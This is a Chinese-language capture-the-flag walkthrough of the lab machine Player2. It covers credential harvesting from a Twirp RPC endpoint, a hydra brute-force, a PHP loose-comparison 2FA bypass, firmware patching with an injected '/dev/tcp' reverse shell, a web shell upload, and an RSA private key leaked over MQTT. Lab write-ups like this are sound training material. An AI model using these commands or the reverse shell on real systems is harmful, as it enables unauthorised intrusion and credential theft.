基本信息

端口扫描

这里需要全端口扫描,默认扫描会漏掉开放的8545:

80

直接访问是一个错误页面:

配置hosts访问:

1
10.10.10.170 player2.htb

subdomain

1
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -H "Host: FUZZ.player2.htb" --hh 102 -u http://10.10.10.170

同样把product.player2.htb加到hosts里,访问:

8545

直接访问:

根据信息,知道是twirp,根据文档

https://github.com/twitchtv/twirp/blob/master/docs/routing.md

知道service定义是在.proto文件,稍后的目录扫描中有proto目录

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gobuster dir -u http://player2.htb/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x php

/images (Status: 301)
/index (Status: 200)
/index.php (Status: 200)
/assets (Status: 301)
/src (Status: 301)
/mail (Status: 200)
/mail.php (Status: 200)
/vendor (Status: 301)
/generated (Status: 301)
/proto (Status: 301)

gobuster dir -u http://product.player2.htb/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x php

/images (Status: 301)
/home (Status: 302)
/home.php (Status: 302)
/totp (Status: 302)
/totp.php (Status: 302)
/index (Status: 200)
/index.php (Status: 200)
/assets (Status: 301)
/mail (Status: 200)
/mail.php (Status: 200)
/api (Status: 301)

api

直接访问是403:

继续扫描:

1
2
3
4
gobuster dir -u http://product.player2.htb/api/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x php

/totp (Status: 200)
/totp.php (Status: 200)
1
2
3
curl -X POST http://product.player2.htb/api/totp

{"error":"Invalid Session"}

根据信息搜索发现

https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm

这里是Time-based One-time Password,用于根据时间生成一次性密码

proto

1
gobuster dir -u http://player2.htb/api/proto -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x proto

这个proto定义了一个Auth service,package是twirp.player2.auth ,这个service有一个GenCreds() 方法用于返回Creds

twirp

基于protobuf的RPC框架,根据官方文档:

https://twitchtv.github.io/twirp/docs/curl.html

可以结合curl进行测试

1
2
3
4
5
6
7
8
9
mkdir proto
cd proto
wget http://player2.htb/proto/generated.proto
wget https://github.com/protocolbuffers/protobuf/releases/download/v3.12.3/protoc-3.12.3-linux-x86_64.zip
unzip protoc-3.12.3-linux-x86_64.zip

curl -s -X POST -H "Content-Type: application/protobuf" http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | ./bin/protoc -I . --decode twirp.player2.auth.Creds generated.proto
name: "0xdf"
pass: "ze+EKe-SGF^5uZQX"

但这组用户密码不能正常登录product

生成字典

可以生成100组,去重:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
./client.sh
Finding Credentials...
Unique Credentials:

name: "mprox" pass: "Lp-+Q8umLW5*7qkc"
name: "jkr" pass: "ze+EKe-SGF^5uZQX"
name: "snowscan" pass: "tR@dQnwnZEk95*6#"
name: "jkr" pass: "tR@dQnwnZEk95*6#"
name: "0xdf" pass: "XHq7_WJTA?QD_?E2"
name: "mprox" pass: "tR@dQnwnZEk95*6#"
name: "jkr" pass: "Lp-+Q8umLW5*7qkc"
name: "0xdf" pass: "ze+EKe-SGF^5uZQX"
name: "0xdf" pass: "tR@dQnwnZEk95*6#"
name: "jkr" pass: "XHq7_WJTA?QD_?E2"
name: "snowscan" pass: "XHq7_WJTA?QD_?E2"
name: "snowscan" pass: "Lp-+Q8umLW5*7qkc"
name: "0xdf" pass: "Lp-+Q8umLW5*7qkc"
name: "snowscan" pass: "ze+EKe-SGF^5uZQX"
name: "mprox" pass: "ze+EKe-SGF^5uZQX"
name: "mprox" pass: "XHq7_WJTA?QD_?E2"

处理成常规用户名密码字典:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 cat userpass.txt | awk '{print $2,$4}' | sed 's/"//g' | sed 's/ /:/g' > userpass2.txt
cat userpass2.txt
:
mprox:Lp-+Q8umLW5*7qkc
jkr:ze+EKe-SGF^5uZQX
snowscan:tR@dQnwnZEk95*6#
jkr:tR@dQnwnZEk95*6#
0xdf:XHq7_WJTA?QD_?E2
mprox:tR@dQnwnZEk95*6#
jkr:Lp-+Q8umLW5*7qkc
0xdf:ze+EKe-SGF^5uZQX
0xdf:tR@dQnwnZEk95*6#
jkr:XHq7_WJTA?QD_?E2
snowscan:XHq7_WJTA?QD_?E2
snowscan:Lp-+Q8umLW5*7qkc
0xdf:Lp-+Q8umLW5*7qkc
snowscan:ze+EKe-SGF^5uZQX
mprox:ze+EKe-SGF^5uZQX
mprox:XHq7_WJTA?QD_?E2

爆破

之后使用生成的字典进行爆破

1
2
3
4
hydra -C userpass.txt product.player2.htb http-post-form "/index:username=^USER^&password=^PASS^&Submit=Sign in:Nope"

[80][http-post-form] host: product.player2.htb login: mprox password: tR@dQnwnZEk95*6#
[80][http-post-form] host: product.player2.htb login: 0xdf password: XHq7_WJTA?QD_?E2

得到两组账号密码,可用,但还需要OTP:

client.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/env/bash
echo "Finding Credentials..."
for i in `seq 1 100`
do
curl -s -X POST -H "Content-Type: application/protobuf" \
http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds \
| ./bin/protoc -I . --decode twirp.player2.auth.Creds generated.proto \
| tr '\n' ' ' >> userpass.txt
echo >> userpass.txt
done
echo "Unique Credentials:"
gawk -i inplace '!a[$0]++' userpass.txt
cat userpass.txt

totp

直接POST访问:

加上action:

这里尝试一些常见OTP参数,得到正确的backup_codes:

使用这个OTP代码可以成功登录:

2FA bypass

应该是后端代码实现问题,action直接使用true即可通过校验:

后端代码应该是类似这种,PHP弱类型:

1
2
3
if($action == "backup_codes") {
// Send backup code
}

固件

access那里给了一份文档是关于Protobs Firmware的,里面有固件下载链接和测试地址:

http://product.player2.htb/protobs/protobs_firmware_v1.0.tar

1
2
3
4
5
6
7
8
wget http://product.player2.htb/protobs/protobs_firmware_v1.0.tar
tar xvf protobs_firmware_v1.0.tar
x info.txt
x Protobs.bin
x version

file Protobs.bin
Protobs.bin: data

直接上传这个固件是all check pass:

固件提取

直接binwalk分析bin文件,里面是一个64位elf:

1
2
3
4
5
 binwalk Protobs.bin

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

文档说明是签名在实际的固件代码之前,即前64个字节是签名,我们可以排除这部分,提取出elf:

1
2
3
4
5
6
7
8
9
10
11
binwalk --dd='.*' Protobs.bin
cd _Protobs.bin.extracted
ls -la
total 40
drwxr-xr-x@ 3 miao staff 96 6 29 15:51 .
drwxr-xr-x@ 8 miao staff 256 6 29 15:51 ..
-rw-r--r-- 1 miao staff 17200 6 29 15:51 40

mv 40 protobs.elf
file protobs.elf
protobs.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82adae308a0023a272e626bbe83d97b2b9c630f6, for GNU/Linux 3.2.0, not stripped

逆向分析

直接把提取出来的elf扔到ghidra里

main

main函数调用wait_for_fkey之后继续执行:

wait_for_fkey

这个函数使用system调用stty命令更改终端设置,我们前面已经知道上传的固件验证通过后会执行,那么我们可以考虑修改固件使其执行恶意命令:

Signature

因为固件会校验签名,根据文档签名算法:

根据上面的签名过程,我们看到签名是使用program code和哈希函数计算的。 服务器可能会忽略program code的某些初始字节,这将使我们绕过验证。我们可以尝试直接修改固件bin文件后重新打包

固件修改

修改固件中system执行的字符串,之后重新打包,上传,getshell:

1
2
3
bash -c "bash -i >& /dev/tcp/10.10.14.46/7777 0>&1";

tar cvf shell2.tar Protobs.bin info.txt version

文件上传

另一种方式,固件上传测试那里打包上传shell:

1
2
3
4
5
6
tar cvf shell.tar Protobs.bin info.txt version shell
a Protobs.bin
a info.txt
a version
a shell
a shell/shell.php

MQTT

上述两种方式都能得到www-data用户shell,继续查看信息:

1
2
3
4
5
6
7
8
ps auxww
...
mosquit+ 1137 0.0 0.2 48024 5792 ? S 04:40 0:02 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf
...
netstat -antp | grep LIST
...
tcp 0 0 127.0.0.1:1883 0.0.0.0:* LISTEN
...

Mosquitto是一个开源的MQTT代理,用于在使用设备或传感器时传递消息,它使用基于发布-订阅模型的mqtt协议。 每个客户端都可以订阅主题,以及发布与这些主题有关的信息。

netstat查看1883端口开着,这是mosquito server的默认端口。

端口转发

我们可以通过www-data的shell加载个meterpreter,方便操作,将1883端口进行转发:

之后直接访问我们本地1883端口就相当于访问远程机器localhost的1883:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mosquitto_sub -t '$SYS/#' -h 127.0.0.1 -p 1883
...
Retrieving the key from aws instance
Key retrieved..
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7Gc/OjpFFvefFrbuO64wF8sNMy+/7miymSZsEI+y4pQyEUBA
R0JyfLk8f0SoriYk0clR/JmY+4mK0s7+FtPcmsvYgReiqmgESc/brt3hDGBuVUr4
et8twwy77KkjypPy4yB0ecQhXgtJNEcEFUj9DrOq70b3HKlfu4WzGwMpOsAAdeFT
+kXUsGy+Cp9rp3gS3qZ2UGUMsqcxCcKhn92azjFoZFMCP8g4bBXUgGp4CmFOtdvz
SM29st5P4Wqn0bHxupZ0ht8g30TJd7FNYRcQ7/wGzjvJzVBywCxirkhPnv8sQmdE
+UAakPZsfw16u5dDbz9JElNbBTvwO9chpYIs0QIDAQABAoIBAA5uqzSB1C/3xBWd
62NnWfZJ5i9mzd/fMnAZIWXNcA1XIMte0c3H57dnk6LtbSLcn0jTcpbqRaWtmvUN
wANiwcgNg9U1vS+MFB7xeqbtUszvoizA2/ScZW3P/DURimbWq3BkTdgVOjhElh6D
62LlRtW78EaVXYa5bGfFXM7cXYsBibg1+HOLon3Lrq42j1qTJHH/oDbZzAHTo6IO
91TvZVnms2fGYTdATIestpIRkfKr7lPkIAPsU7AeI5iAi1442Xv1NvGG5WPhNTFC
gw4R0V+96fOtYrqDaLiBeJTMRYp/eqYHXg4wyF9ZEfRhFFOrbLUHtUIvkFI0Ya/Y
QACn17UCgYEA/eI6xY4GwKxV1CvghL+aYBmqpD84FPXLzyEoofxctQwcLyqc5k5f
llga+8yZZyeWB/rWmOLSmT/41Z0j6an0bLPe0l9okX4j8WOSmO6TisD4WiFjdAos
JqiQej4Jch4fTJGegctyaOwsIVvP+hKRvYIwO9CKsaAgOQySlxQBOwMCgYEA7l+3
JloRxnCYYv+eO94sNJWAxAYrcPKP6nhFc2ReZEyrPxTezbbUlpAHf+gVJNVdetMt
ioLhQPUNCb3mpaoP0mUtTmpmkcLbi3W25xXfgTiX8e6ZWUmw+6t2uknttjti97dP
QFwjZX6QPZu4ToNJczathY2+hREdxR5hR6WrJpsCgYEApmNIz0ZoiIepbHchGv8T
pp3Lpv9DuwDoBKSfo6HoBEOeiQ7ta0a8AKVXceTCOMfJ3Qr475PgH828QAtPiQj4
hvFPPCKJPqkj10TBw/a/vXUAjtlI+7ja/K8GmQblW+P/8UeSUVBLeBYoSeiJIkRf
PYsAH4NqEkV2OM1TmS3kLI8CgYBne7AD+0gKMOlG2Re1f88LCPg8oT0MrJDjxlDI
NoNv4YTaPtI21i9WKbLHyVYchnAtmS4FGqp1S6zcVM+jjb+OpBPWHgTnNIOg+Hpt
uaYs8AeupNl31LD7oMVLPDrxSLi/N5o1I4rOTfKKfGa31vD1DoCoIQ/brsGQyI6M
zxQNDwKBgQCBOLY8aLyv/Hi0l1Ve8Fur5bLQ4BwimY3TsJTFFwU4IDFQY78AczkK
/1i6dn3iKSmL75aVKgQ5pJHkPYiTWTRq2a/y8g/leCrvPDM19KB5Zr0Z1tCw5XCz
iZHQGq04r9PMTAFTmaQfMzDy1Hfo8kZ/2y5+2+lC7wIlFMyYze8n8g==
-----END RSA PRIVATE KEY-----
...

我们得到了一个ssh私钥

user flag

查看home目录可以得到用户名observer,直接使用刚得到私钥登录就可以:

提权 二进制打法

二进制方法是用UAF,heap太烦了,直接参考官方wp吧

root flag 非预期

1
2
3
cd .ssh
mv id_rsa id_rsa_old
ln -s /root/root.txt id_rsa

因为前面mqtt能够看到是会读取id_rsa并且显示出来, 查看进程能够看到root运行的/root/broadcast.py,那么直接将id_rsa软链接到root.txt即可非预期读取root.txt内容

参考资料